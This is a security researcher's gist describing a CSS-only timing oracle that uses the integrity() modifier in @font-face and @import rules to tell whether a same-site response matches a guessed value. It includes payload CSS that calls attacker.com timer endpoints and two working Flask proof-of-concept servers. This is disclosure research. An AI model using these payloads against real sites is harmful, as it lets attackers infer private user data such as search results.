Skip to content

Instantly share code, notes, and snippets.

@parrot409
Created August 23, 2026 14:58
Show Gist options
  • Select an option

  • Save parrot409/6372bbb8e9d09b58ef735e15f4b3be59 to your computer and use it in GitHub Desktop.

Select an option

Save parrot409/6372bbb8e9d09b58ef735e15f4b3be59 to your computer and use it in GitHub Desktop.

CSS only oracle on same site http responses using integrity() request modifier

I was checking out the referrer-policy feature and spotted that integrity() has also been added. This feature basically allows you to check the integrity of the response using its hash. It's especially useful for securely including resources from CDNs.

// include style.css from the cdn. Inclusion fails if the response is changed.
@import url('http://cdn/style.css' integrity('sha256-1iHZaZUbIMXPIAjL/CgqLUlt3+dadq/ntrMvFHC4pEk='));

It can also be used on font requests.

@font-face {
	  font-family: a;
	  src: url('http://cdn/font.woff2' integrity('sha256-1iHZaZUbIMXPIAjL/CgqLUlt3+dadq/ntrMvFHC4pEk='));
}

I had previously used font requests to oracle same site responses - strellic's corctf 2023 leaky note.

Basically, we put many url() values in the @font-face src. If the request fails the integrity check, then the request fails immediately and the OTS code is not reached, which leads to a shorter execution time than a request with a successful integrity test.

@font-face {
	  font-family: a;
	  src: url('http://attacker.com/start-timer'),url('/leak-url' integrity('sha256-...')),url('/leak-url' integrity('sha256-...')),url('/leak-url' integrity('sha256-...')),...,url('http://attacker.com/end-timer');
}

This technique allows us to determine whether a response exactly matches a value we already know. For example, we can use it to verify whether /email-search?text=a contains any result or {"status":false}.

One cool thing about this technique is that font responses are not protected by X-Content-Type-Options: nosniff. This technique only works when the attacker’s CSS is included while the document is loading because after the initial loading, a network request is sent for each url(). So you need to trigger the HTML injection before the document is fully loaded or you can use iframes with srcdoc, you probably don't have either of these when you're dealing with DOMPurify.

<div id=v1 ></div>
<div id=v2 ></div>
<script>
// you see case-1 only once in Devtools network tab.
v1.innerHTML = `<style> @font-face{font-family:a;src:url('/case-1'),url('/case-1');} #c1 {font-family:a;}</style><span id="c1">A</span>`;
onload = _=>{
  setTimeout(_=>{
    // case-2 should appear twice.
    v2.innerHTML = `<style> @font-face{font-family:b;src:url('/case-2'),url('/case-2');} #c2 {font-family:b;}</style><span id="c2">A</span>`;
  })
}
</script>

Since this doesn't work with DOMPurify, I tried using the @import() at-rule. I could see a timing difference between failed and successful integrity matches, but it only works reliably on Linux.

from flask import Flask, Response, jsonify, request, send_file
from pathlib import Path
import hashlib
import time
import base64
app = Flask(__name__)
timestamps = {}
indexHtml = """
<html>
<body>
<b>/leak content:</b> secretstuff
&nbsp;<b>Threshold:</b> <input id="threshold_input" value="35">
&nbsp;<b>Search:</b> <input id="search_input" value="secretstuff">
&nbsp;<button onclick="test()">Test</button>
<hr>
<div id='success'>
</div>
<div id='failed'>
</div>
<script>
function test(){
let threshold = +threshold_input.value
let searchval = encodeURIComponent(search_input.value)
css.innerHTML = `<iframe style="border-width: 0px;" srcdoc='<link rel=stylesheet href=/gen-css?v1=${searchval}&v2=doesntexist&${Math.random()} ><div id="hidden" style="visibility: hidden;">a</div>'></iframe>`
success.innerHTML = 'Waiting...'
failed.innerHTML = ''
setTimeout(async _=>{
success.innerHTML = ''
let r = await fetch('/time?t=result').then(r=>r.json())
if(r.diff > threshold){
success.innerHTML = `Result: <span style="color: green;">Found</span> - Difference: ${parseInt(r.diff)}`
} else {
failed.innerHTML = `Result: <span style="color: red;">Not Found</span> - Difference: ${parseInt(r.diff)}`
}
},3000)
}
</script>
<div id="css"></div>
</body>
</html>
"""
cssTemplate = """
@font-face {
font-family: a;
src: url('/time?t=first&$RANDOM$')$first_p$,url('/time?t=second&$RANDOM$')$second_p$,url('/time?t=third&$RANDOM$');
}
#hidden {
font-family: a;
}
"""
urlPayload = """
,url('/leak' integrity('sha256-$SHA256$'))
""".strip()
@app.after_request
def add_cors_header(response):
response.headers["X-Content-Type-Options"] = "nosniff"
response.headers["Cache-Control"] = "no-store"
return response
@app.get("/")
def index():
return indexHtml
@app.get("/time")
def image():
event = request.args.get("t")
if event in {"first", "second", "third"}:
timestamps[event] = time.time_ns() // 1_000_000
return jsonify({event: timestamps[event]})
if event == "result":
if not all(key in timestamps for key in ("first", "second", "third")):
return jsonify({"error": "first, second, and third timestamps are required"}), 400
t1 = timestamps["second"] - timestamps["first"]
t2 = timestamps["third"] - timestamps["second"]
d = abs(((t2-t1)/t2)*100)
return jsonify({
"second-first": t1,
"third-first": t2,
"diff":d
})
return ''
@app.get("/gen-css")
def gencss():
v1 = base64.b64encode(hashlib.sha256(request.args.get("v1").encode()).digest()).decode()
v2 = base64.b64encode(hashlib.sha256(request.args.get("v2").encode()).digest()).decode()
t = cssTemplate
import random
t = t.replace('$RANDOM$',str(random.randint(1,100000)))
t = t.replace('$first_p$',urlPayload.replace('$SHA256$',v1)*10000)
t = t.replace('$second_p$',urlPayload.replace('$SHA256$',v2)*10000)
return Response(t, mimetype="text/css")
@app.get("/leak")
def leak():
return 'secretstuff'
if __name__ == "__main__":
app.run()
from flask import Flask, abort, Response, jsonify, request, send_file
from pathlib import Path
import hashlib
import time
import base64
app = Flask(__name__)
timestamps = {}
timestamps2 = {}
indexHtml = """
<html>
<body>
<b>/leak content:</b> secretstuff
&nbsp;<b>Threshold:</b> <input id="threshold_input" value="0">
&nbsp;<b>Search:</b> <input id="search_input" value="secretstuff">
&nbsp;<button onclick="test()">Test</button>
<hr>
<div id='success'>
</div>
<div id='failed'>
</div>
<script>
function test(){
let threshold = +threshold_input.value
let searchval = encodeURIComponent(search_input.value)
css.innerHTML = `<style>@import url('/gen-css?v1=${searchval}&v2=doesntexist&${Math.random()}');</style>`
success.innerHTML = ''
failed.innerHTML = ''
setTimeout(async _=>{
success.innerHTML = ''
let r = await fetch('/time?t=result').then(r=>r.json())
if(r.diff > threshold){
failed.innerHTML = `Result: <span style="color: red;">Not Found</span> - Difference: ${parseInt(r.diff)}`
} else {
success.innerHTML = `Result: <span style="color: green;">Found</span> - Difference: ${parseInt(r.diff)}`
}
},3000)
}
</script>
<div id="css"></div>
<div id="hidden" style="visibility: hidden;">a</div>
</body>
</html>
"""
cssTemplate = """
@import url('/time?t=first&$RANDOM$');
$first_p$
@import url('data:text/css,%23hidden{background-image:url(/time?t=second&$RANDOM$)}');
"""
urlPayload = """
@import url('/leak' integrity('sha256-$SHA256$'));
"""
@app.after_request
def add_cors_header(response):
response.headers["Cache-Control"] = "no-store"
return response
@app.get("/")
def index():
return indexHtml
@app.get("/time")
def image():
event = request.args.get("t")
if event in {"first", "second", "third"}:
timestamps[event] = time.time_ns() // 1_000_000
return jsonify({event: timestamps[event]})
if event == "result":
if not all(key in timestamps for key in ("first", "second")):
return jsonify({"error": "first, second, and third timestamps are required"}), 400
t1 = timestamps["second"] - timestamps["first"]
return jsonify({
"diff": t1,
})
return ''
@app.get("/gen-css")
def gencss():
v1 = base64.b64encode(hashlib.sha256(request.args.get("v1").encode()).digest()).decode()
t = cssTemplate
import random
t = t.replace('$RANDOM$',str(random.randint(1,100000)))
t = t.replace('$first_p$',urlPayload.replace('$SHA256$',v1)*10000)
return Response(t, mimetype="text/css")
@app.get("/leak")
def leak():
return 'secretstuff'
if __name__ == "__main__":
app.run()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment